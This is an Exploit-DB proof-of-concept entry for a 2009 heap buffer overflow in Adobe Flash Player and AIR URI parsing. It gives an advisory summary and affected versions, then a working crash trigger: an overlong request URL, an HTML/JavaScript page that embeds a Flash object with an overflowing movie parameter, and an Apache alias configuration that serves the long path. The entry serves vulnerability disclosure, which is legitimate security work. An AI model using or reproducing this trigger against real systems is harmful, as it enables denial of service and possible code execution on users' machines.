Exploit-DB #33133
Description: Adobe Flash Player 10.0.22 / AIR - URI Parsing Heap Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2009-07-30
Author: iDefense

Exploit:
source: https://www.securityfocus.com/bid/35902/info


Adobe Flash Player and Adobe AIR are prone to a heap-based buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition.

This issue was previously covered in BID 35890 (Adobe Flash Player and AIR Multiple Security Vulnerabilities) but has been given its own record to better document it.

UPDATE (September 4, 2009): Mac OS X 10.6 reportedly ships with Flash Player 10.0.23.1, which will overwrite any installed version of Flash Player when Mac OS X is being installed.

This issue affects versions *prior to* the following:

Flash Player 10.0.32.18
AIR 1.5.2

Request:
http://localhost:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/FlashTest.htm

Html source of FlashTest.htm:
<html>
    <body>
        <br />----- <br />
        <script>
            var movieName = &#039;&#039;;
            var flash = &#039;&#039;;
           
            function getMovieName()
            {
                movieName = &#039;a.swf?<overflowed>&#039;;
            }
           
            function printFlash()
            {
                               
                flash += &#039;<OBJECT &#039;;
                flash += &#039;ID="something"&#039;;
                flash += &#039;classid="clsid:D27CDB6E-AE6D-11cf-96B8[PII_REDACTED]00" &#039;;
                flash += &#039;codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"&#039;;
                flash += &#039;WIDTH="70"&#039;;
                flash += &#039;HEIGHT="90"&#039;;
                flash += &#039;>&#039;;
                flash += &#039;<PARAM &#039;;
                flash += &#039;  NAME="movie"&#039;;
                flash += &#039;  VALUE="&#039; + movieName + &#039;"&#039;;
                flash += &#039;</OBJECT>&#039;;
            }
            getMovieName();
            printFlash();
            document.write(flash);
        </script>
        <br />----- <br />
    </body>
</html>


Apache config:
Alias /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "C:/Inetpub/wwwroot/"

<Directory "C:/Inetpub/wwwroot/">
    AllowOverride None
    Options All
    Order allow,deny
    Allow from all
</Directory>